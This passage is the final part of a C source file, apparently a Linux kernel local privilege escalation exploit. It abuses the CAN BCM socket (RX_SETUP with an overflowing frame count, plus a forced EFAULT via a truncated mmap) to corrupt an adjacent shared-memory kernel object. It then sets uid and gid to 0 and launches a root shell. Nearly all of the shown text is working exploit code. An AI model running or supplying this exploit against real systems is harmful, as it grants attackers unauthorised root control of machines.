-1) { 457 | perror("shmctl"); 458 | } 459 | 460 | sleep(1); 461 | 462 | printf("[+] creating PF_CAN socket...\n"); 463 | 464 | sock = socket(PF_CAN, SOCK_DGRAM, CAN_BCM); 465 | if (sock < 0) { 466 | printf("[-] kernel lacks CAN packet family support\n"); 467 | exit(1); 468 | } 469 | 470 | printf("[+] connecting PF_CAN socket...\n"); 471 | 472 | memset(&addr, 0, sizeof(addr)); 473 | addr.can_family = PF_CAN; 474 | 475 | ret = connect(sock, (struct sockaddr *) &addr, sizeof(addr)); 476 | if (sock < 0) { 477 | printf("[-] could not connect CAN socket\n"); 478 | exit(1); 479 | } 480 | 481 | len = MHSIZ + (CFSIZ * (SLAB_SIZE / 16)); 482 | msg = malloc(len); 483 | memset(msg, 0, len); 484 | msg->can_id = 2959; 485 | msg->nframes = (UINT_MAX / CFSIZ) + (SLAB_SIZE / 16) + 1; 486 | 487 | printf("[+] clearing out any active OPs via RX_DELETE...\n"); 488 | 489 | msg->opcode = RX_DELETE; 490 | ret = send(sock, msg, len, 0); 491 | 492 | printf("[+] first trigger 96 bytes in %s.\n", SLAB_NAME); 493 | msg->opcode = RX_SETUP; 494 | ret = send(sock, msg, len, 0); 495 | if (ret < 0) { 496 | printf("[-] kernel rejected malformed CAN header\n"); 497 | exit(1); 498 | } 499 | 500 | printf("[+] mmap'ing truncated memory to short-circuit/EFAULT the memcpy_fromiovec...\n"); 501 | 502 | mmap_len = MHSIZ + (CFSIZ * (SLAB_SIZE / 16) * 3); 503 | sock_len = MHSIZ + (CFSIZ * (SLAB_SIZE / 16) * 4); 504 | efault = mmap(NULL, mmap_len, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); 505 | printf("[+] mmap'ed mapping of length %d at %p\n", mmap_len, efault); 506 | 507 | printf("[+] smashing adjacent shmid with dummy payload via malformed RX_SETUP...\n"); 508 | 509 | msg = (struct bcm_msg_head *)efault; 510 | memset(msg, 0, mmap_len); 511 | msg->can_id = 2959; 512 | msg->nframes = (SLAB_SIZE / 16) * 4; 513 | 514 | buf = (char *)msg; 515 | shmid_kernel.shm_perm.seq = shmids[free_idx + 2] / IPCMNI; 516 | memcpy(&buf[MHSIZ + (SLAB_SIZE * 2) + HDRLEN_KMALLOC], &shmid_kernel, sizeof(shmid_kernel)); 517 | 518 | msg->opcode = RX_SETUP; 519 | ret = send(sock, msg, mmap_len, 0); 520 | if (ret != -1 && errno != EFAULT) { 521 | printf("[-] couldn't trigger EFAULT, exploit aborting!\n"); 522 | exit(1); 523 | } 524 | 525 | ret = (int)shmat(shmids[free_idx + 2], NULL, SHM_RDONLY); 526 | if (ret == -1 && errno != EIDRM) { 527 | setresuid(0, 0, 0); 528 | setresgid(0, 0, 0); 529 | 530 | printf("[+] launching root shell!\n"); 531 | 532 | execl("/bin/bash", "/bin/bash", NULL); 533 | exit(0); 534 | } 535 | 536 | return 0; 537 | } 538 | 539 | int main(void) 540 | { 541 | setup(); 542 | trigger(); 543 | } 544 | --------------------------------------------------------------------------------